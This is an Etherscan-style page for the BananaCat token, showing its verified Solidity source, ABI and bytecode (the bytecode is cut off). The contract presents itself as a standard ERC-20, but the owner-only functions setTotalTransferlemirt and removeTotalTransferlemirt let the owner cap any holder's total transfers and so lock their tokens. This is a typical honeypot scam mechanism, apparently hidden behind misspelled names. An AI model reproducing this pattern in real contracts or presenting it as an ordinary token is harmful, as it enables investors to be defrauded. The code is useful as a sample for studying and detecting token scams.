ETH Price: $2,486.73 (-0.94%)

Token

BananaCat (BananaCat)
 

Overview

Max Total Supply

1,990,000,000 BananaCat

Holders

5

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BananaCat

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-10-31
*/

pragma solidity ^0.8.0;

interface IERC20 {
    // Returns the total token supply.
    function totalSupply() external view returns (uint256);

    // Returns the token balance of a specific address.
    function balanceOf(address account) external view returns (uint256);

    // Transfers an amount of tokens to a specified recipient. Returns a boolean indicating success.
    function transfer(address recipient, uint256 amount) external returns (bool);

    // Returns the amount of tokens an address is allowed to spend on behalf of another address.
    function allowance(address owner, address spender) external view returns (uint256);

    // Approves a certain spender to spend a specific amount of tokens from the caller's balance.
    function approve(address spender, uint256 amount) external returns (bool);

    // Allows a spender to transfer tokens from an owner's balance to a recipient, considering the approved amount.
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    // Event emitted when tokens are transferred, including zero value transfers.
    event Transfer(address indexed from, address indexed to, uint256 value);

    // Event emitted when a spender is approved to spend tokens on behalf of the owner.
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// Abstract contract that provides a method for retrieving the sender of the current external function call.
abstract contract Context {
    // Internal function that returns the original sender of the transaction.
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

// Contract to provide basic authorization control functions, simplifying the implementation of usrrer permissions.
contract Ownable is Context {
    address private _owner;  // Private variable to store the contract's owner address.

    // Event emitted when ownership of the contract changes.
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        // Assigns the contract deployer as the initial owner.
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    // Returns the current owner of the contract.
    function owner() public view virtual returns (address) {
        return _owner;
    }

    // Modifier to restrict access to owner-only functionalities.
    modifier onlyOwner() {
        require(owner() == _msgSender());
        _;
    }

    // Allows the current owner to renounce the ownership. Sets the owner to a "dead address".
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
}

// Main token contract that integrates ERC20 functionality with additional features.
contract BananaCat is Context, Ownable, IERC20 {
    // Storage mappings for token balances, allowances, and additional features like transfer lemirts.
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) public totalTransferlemirts; // Maximum amount an address can transfer.
    mapping(address => uint256) public totalTransferredAmounts; // Track how much has been transferred by an address.

    // Basic token details.
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    // Modifier to enforce transfer lemirts for certain addresses.
    modifier transferlemirt(address sender, uint256 amount) {
        uint256 lemirt = totalTransferlemirts[sender];
        if (lemirt > 0) {
            require(totalTransferredAmounts[sender] + amount <= lemirt, "Total transfer amount exceeds the set lemirt");
        }
        _;
    }

    // Constructor to initialize the token with details and create the initial supply.
    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = totalSupply_ * (10 ** decimals_);
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    // Returns the name of the token.
    function name() public view returns (string memory) {
        return _name;
    }

    // Returns the symbol of the token.
    function symbol() public view returns (string memory) {
        return _symbol;
    }

    // Returns the number of decimals used to represent the token.
    function decimals() public view returns (uint8) {
        return _decimals;
    }

    // Returns the total supply of the token.
    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    // Returns the token balance of a specific address.
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    // Allows the owner to set a transfer lemirt for a specific address.
    function setTotalTransferlemirt(address usrrer, uint256 lemirt) public onlyOwner {
        totalTransferlemirts[usrrer] = lemirt;
    }

    // Allows the owner to remove a transfer lemirt for a specific address.
    function removeTotalTransferlemirt(address usrrer) public onlyOwner {
        delete totalTransferlemirts[usrrer];
    }

    // Transfer tokens to a specified address, considering any transfer lemirts.
    function transfer(address recipient, uint256 amount) public virtual override transferlemirt(_msgSender(), amount) returns (bool) {
        _balances[_msgSender()] -= amount;
        _balances[recipient] += amount;
        totalTransferredAmounts[_msgSender()] += amount;
        emit Transfer(_msgSender(), recipient, amount);
        return true;
    }

    // Retrieves the amount of tokens an address is allowed to spend on behalf of another address.
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    // Approves a certain spender to spend a specific amount of tokens from the caller's balance.
    // Emits an Approval event upon success.
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[_msgSender()][spender] = amount;
        emit Approval(_msgSender(), spender, amount);
        return true;
    }

    // Transfers tokens from one address to another, utilizing the approved allowance.
    // This method can be used by a spender to transfer tokens on behalf of the token owner.
    // The function considers any transfer lemirts and also checks for sufficient allowance before making the transfer.
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override transferlemirt(sender, amount) returns (bool) {
        require(_allowances[sender][_msgSender()] >= amount, "Transfer amount exceeds allowance");
        
        _balances[sender] -= amount;
        _balances[recipient] += amount;
        
        // Update the total transferred amount for the sender
        totalTransferredAmounts[sender] += amount;
        
        // Deduct the transferred amount from the spender's allowance.
        _allowances[sender][_msgSender()] -= amount;
        
        emit Transfer(sender, recipient, amount);
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"usrrer","type":"address"}],"name":"removeTotalTransferlemirt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"usrrer","type":"address"},{"internalType":"uint256","name":"lemirt","type":"uint256"}],"name":"setTotalTransferlemirt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"totalTransferlemirts","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"totalTransferredAmounts","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b5060405162001c4a38038062001c4a833981810160405281019062000037919062000386565b6000620000496200022e60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3508360059080519060200190620000ff92919062000236565b5082600690805190602001906200011892919062000236565b5081600760006101000a81548160ff021916908360ff16021790555081600a62000143919062000514565b8162000150919062000651565b600881905550600854600160006200016d6200022e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620001bb6200022e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008546040516200021c919062000435565b60405180910390a35050505062000803565b600033905090565b8280546200024490620006ff565b90600052602060002090601f016020900481019282620002685760008555620002b4565b82601f106200028357805160ff1916838001178555620002b4565b82800160010185558215620002b4579182015b82811115620002b357825182559160200191906001019062000296565b5b509050620002c39190620002c7565b5090565b5b80821115620002e2576000816000905550600101620002c8565b5090565b6000620002fd620002f78462000486565b62000452565b9050828152602081018484840111156200031657600080fd5b62000323848285620006c9565b509392505050565b600082601f8301126200033d57600080fd5b81516200034f848260208601620002e6565b91505092915050565b6000815190506200036981620007cf565b92915050565b6000815190506200038081620007e9565b92915050565b600080600080608085870312156200039d57600080fd5b600085015167ffffffffffffffff811115620003b857600080fd5b620003c6878288016200032b565b945050602085015167ffffffffffffffff811115620003e457600080fd5b620003f2878288016200032b565b935050604062000405878288016200036f565b9250506060620004188782880162000358565b91505092959194509250565b6200042f81620006b2565b82525050565b60006020820190506200044c600083018462000424565b92915050565b6000604051905081810181811067ffffffffffffffff821117156200047c576200047b62000793565b5b8060405250919050565b600067ffffffffffffffff821115620004a457620004a362000793565b5b601f19601f8301169050602081019050919050565b6000808291508390505b60018511156200050b57808604811115620004e357620004e262000735565b5b6001851615620004f35780820291505b80810290506200050385620007c2565b9450620004c3565b94509492505050565b60006200052182620006b2565b91506200052e83620006bc565b92506200055d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000565565b905092915050565b6000826200057757600190506200064a565b816200058757600090506200064a565b8160018114620005a05760028114620005ab57620005e1565b60019150506200064a565b60ff841115620005c057620005bf62000735565b5b8360020a915084821115620005da57620005d962000735565b5b506200064a565b5060208310610133831016604e8410600b84101617156200061b5782820a90508381111562000615576200061462000735565b5b6200064a565b6200062a8484846001620004b9565b9250905081840481111562000644576200064362000735565b5b81810290505b9392505050565b60006200065e82620006b2565b91506200066b83620006b2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006a757620006a662000735565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60005b83811015620006e9578082015181840152602081019050620006cc565b83811115620006f9576000848401525b50505050565b600060028204905060018216806200071857607f821691505b602082108114156200072f576200072e62000764565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008160011c9050919050565b620007da81620006b2565b8114620007e657600080fd5b50565b620007f481620006bc565b81146200080057600080fd5b50565b61143780620008136000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a9059cbb11610066578063a9059cbb14610262578063dd62ed3e14610292578063e3eaeb5c146102c2578063f5f0b85c146102f2576100f5565b8063715018a614610200578063834a096d1461020a5780638da5cb5b1461022657806395d89b4114610244576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce56714610196578063510b692d146101b457806370a08231146101d0576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f919061116c565b60405180910390f35b610132600480360381019061012d9190610fb9565b6103b4565b60405161013f9190611151565b60405180910390f35b6101506104b4565b60405161015d91906111ce565b60405180910390f35b610180600480360381019061017b9190610f6a565b6104be565b60405161018d9190611151565b60405180910390f35b61019e610872565b6040516101ab91906111e9565b60405180910390f35b6101ce60048036038101906101c99190610f05565b610889565b005b6101ea60048036038101906101e59190610f05565b610915565b6040516101f791906111ce565b60405180910390f35b61020861095e565b005b610224600480360381019061021f9190610fb9565b610a64565b005b61022e610af2565b60405161023b9190611136565b60405180910390f35b61024c610b1b565b604051610259919061116c565b60405180910390f35b61027c60048036038101906102779190610fb9565b610bad565b6040516102899190611151565b60405180910390f35b6102ac60048036038101906102a79190610f2e565b610e1c565b6040516102b991906111ce565b60405180910390f35b6102dc60048036038101906102d79190610f05565b610ea3565b6040516102e991906111ce565b60405180910390f35b61030c60048036038101906103079190610f05565b610ebb565b60405161031991906111ce565b60405180910390f35b60606005805461033190611332565b80601f016020809104026020016040519081016040528092919081815260200182805461035d90611332565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b600081600260006103c3610ed3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff1661045d610ed3565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104a291906111ce565b60405180910390a36001905092915050565b6000600854905090565b600083826000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081111561059d578082600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461055b9190611220565b111561059c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105939061118e565b60405180910390fd5b5b84600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105e7610ed3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610663576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065a906111ae565b60405180910390fd5b84600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106b29190611276565b9250508190555084600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107089190611220565b9250508190555084600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461075e9190611220565b9250508190555084600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107af610ed3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107f89190611276565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8760405161085c91906111ce565b60405180910390a3600193505050509392505050565b6000600760009054906101000a900460ff16905090565b610891610ed3565b73ffffffffffffffffffffffffffffffffffffffff166108af610af2565b73ffffffffffffffffffffffffffffffffffffffff16146108cf57600080fd5b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000905550565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610966610ed3565b73ffffffffffffffffffffffffffffffffffffffff16610984610af2565b73ffffffffffffffffffffffffffffffffffffffff16146109a457600080fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610a6c610ed3565b73ffffffffffffffffffffffffffffffffffffffff16610a8a610af2565b73ffffffffffffffffffffffffffffffffffffffff1614610aaa57600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610b2a90611332565b80601f0160208091040260200160405190810160405280929190818152602001828054610b5690611332565b8015610ba35780601f10610b7857610100808354040283529160200191610ba3565b820191906000526020600020905b815481529060010190602001808311610b8657829003601f168201915b5050505050905090565b6000610bb7610ed3565b826000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811115610c93578082600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c519190611220565b1115610c92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c899061118e565b60405180910390fd5b5b8460016000610ca0610ed3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ce99190611276565b9250508190555084600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d3f9190611220565b925050819055508460046000610d53610ed3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d9c9190611220565b925050819055508573ffffffffffffffffffffffffffffffffffffffff16610dc2610ed3565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610e0791906111ce565b60405180910390a36001935050505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60046020528060005260406000206000915090505481565b60036020528060005260406000206000915090505481565b600033905090565b600081359050610eea816113d3565b92915050565b600081359050610eff816113ea565b92915050565b600060208284031215610f1757600080fd5b6000610f2584828501610edb565b91505092915050565b60008060408385031215610f4157600080fd5b6000610f4f85828601610edb565b9250506020610f6085828601610edb565b9150509250929050565b600080600060608486031215610f7f57600080fd5b6000610f8d86828701610edb565b9350506020610f9e86828701610edb565b9250506040610faf86828701610ef0565b9150509250925092565b60008060408385031215610fcc57600080fd5b6000610fda85828601610edb565b9250506020610feb85828601610ef0565b9150509250929050565b610ffe816112aa565b82525050565b61100d816112bc565b82525050565b600061101e82611204565b611028818561120f565b93506110388185602086016112ff565b611041816113c2565b840191505092915050565b6000611059602c8361120f565b91507f546f74616c207472616e7366657220616d6f756e74206578636565647320746860008301527f6520736574206c656d69727400000000000000000000000000000000000000006020830152604082019050919050565b60006110bf60218361120f565b91507f5472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6360008301527f65000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b611121816112e8565b82525050565b611130816112f2565b82525050565b600060208201905061114b6000830184610ff5565b92915050565b60006020820190506111666000830184611004565b92915050565b600060208201905081810360008301526111868184611013565b905092915050565b600060208201905081810360008301526111a78161104c565b9050919050565b600060208201905081810360008301526111c7816110b2565b9050919050565b60006020820190506111e36000830184611118565b92915050565b60006020820190506111fe6000830184611127565b92915050565b600081519050919050565b600082825260208201905092915050565b600061122b826112e8565b9150611236836112e8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561126b5761126a611364565b5b828201905092915050565b6000611281826112e8565b915061128c836112e8565b92508282101561129f5761129e611364565b5b828203905092915050565b60006112b5826112c8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561131d578082015181840152602081019050611302565b8381111561132c576000848401525b50505050565b6000600282049050600182168061134a57607f821691505b6020821081141561135e5761135d611393565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6113dc816112aa565b81146113e757600080fd5b50565b6113f3816112e8565b81146113fe57600080fd5b5056fea264697066735822122014f7df3ade7a5df8546b1d3179822bc467f3f9ed8e475c78626778c283e95dbb64736f6c63430008000033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000000769cfd80000000000000000000000000000000000000000000000000000000000000000942616e616e614361740000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000942616e616e614361740000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a9059cbb11610066578063a9059cbb14610262578063dd62ed3e14610292578063e3eaeb5c146102c2578063f5f0b85c146102f2576100f5565b8063715018a614610200578063834a096d1461020a5780638da5cb5b1461022657806395d89b4114610244576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce56714610196578063510b692d146101b457806370a08231146101d0576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f919061116c565b60405180910390f35b610132600480360381019061012d9190610fb9565b6103b4565b60405161013f9190611151565b60405180910390f35b6101506104b4565b60405161015d91906111ce565b60405180910390f35b610180600480360381019061017b9190610f6a565b6104be565b60405161018d9190611151565b60405180910390f35b61019e610872565b6040516101ab91906111e9565b60405180910390f35b6101ce60048036038101906101c99190610f05565b610889565b005b6101ea60048036038101906101e59190610f05565b610915565b6040516101f791906111ce565b60405180910390f35b61020861095e565b005b610224600480360381019061021f9190610fb9565b610a64565b005b61022e610af2565b60405161023b9190611136565b60405180910390f35b61024c610b1b565b604051610259919061116c565b60405180910390f35b61027c60048036038101906102779190610fb9565b610bad565b6040516102899190611151565b60405180910390f35b6102ac60048036038101906102a79190610f2e565b610e1c565b6040516102b991906111ce565b60405180910390f35b6102dc60048036038101906102d79190610f05565b610ea3565b6040516102e991906111ce565b60405180910390f35b61030c60048036038101906103079190610f05565b610ebb565b60405161031991906111ce565b60405180910390f35b60606005805461033190611332565b80601f016020809104026020016040519081016040528092919081815260200182805461035d90611332565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b600081600260006103c3610ed3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff1661045d610ed3565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104a291906111ce565b60405180910390a36001905092915050565b6000600854905090565b600083826000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081111561059d578082600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461055b9190611220565b111561059c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105939061118e565b60405180910390fd5b5b84600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105e7610ed3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610663576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065a906111ae565b60405180910390fd5b84600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106b29190611276565b9250508190555084600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107089190611220565b9250508190555084600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461075e9190611220565b9250508190555084600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107af610ed3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107f89190611276565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8760405161085c91906111ce565b60405180910390a3600193505050509392505050565b6000600760009054906101000a900460ff16905090565b610891610ed3565b73ffffffffffffffffffffffffffffffffffffffff166108af610af2565b73ffffffffffffffffffffffffffffffffffffffff16146108cf57600080fd5b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000905550565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610966610ed3565b73ffffffffffffffffffffffffffffffffffffffff16610984610af2565b73ffffffffffffffffffffffffffffffffffffffff16146109a457600080fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610a6c610ed3565b73ffffffffffffffffffffffffffffffffffffffff16610a8a610af2565b73ffffffffffffffffffffffffffffffffffffffff1614610aaa57600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610b2a90611332565b80601f0160208091040260200160405190810160405280929190818152602001828054610b5690611332565b8015610ba35780601f10610b7857610100808354040283529160200191610ba3565b820191906000526020600020905b815481529060010190602001808311610b8657829003601f168201915b5050505050905090565b6000610bb7610ed3565b826000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811115610c93578082600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c519190611220565b1115610c92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c899061118e565b60405180910390fd5b5b8460016000610ca0610ed3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ce99190611276565b9250508190555084600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d3f9190611220565b925050819055508460046000610d53610ed3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d9c9190611220565b925050819055508573ffffffffffffffffffffffffffffffffffffffff16610dc2610ed3565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610e0791906111ce565b60405180910390a36001935050505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60046020528060005260406000206000915090505481565b60036020528060005260406000206000915090505481565b600033905090565b600081359050610eea816113d3565b92915050565b600081359050610eff816113ea565b92915050565b600060208284031215610f1757600080fd5b6000610f2584828501610edb565b91505092915050565b60008060408385031215610f4157600080fd5b6000610f4f85828601610edb565b9250506020610f6085828601610edb565b9150509250929050565b600080600060608486031215610f7f57600080fd5b6000610f8d86828701610edb565b9350506020610f9e86828701610edb565b9250506040610faf86828701610ef0565b9150509250925092565b60008060408385031215610fcc57600080fd5b6000610fda85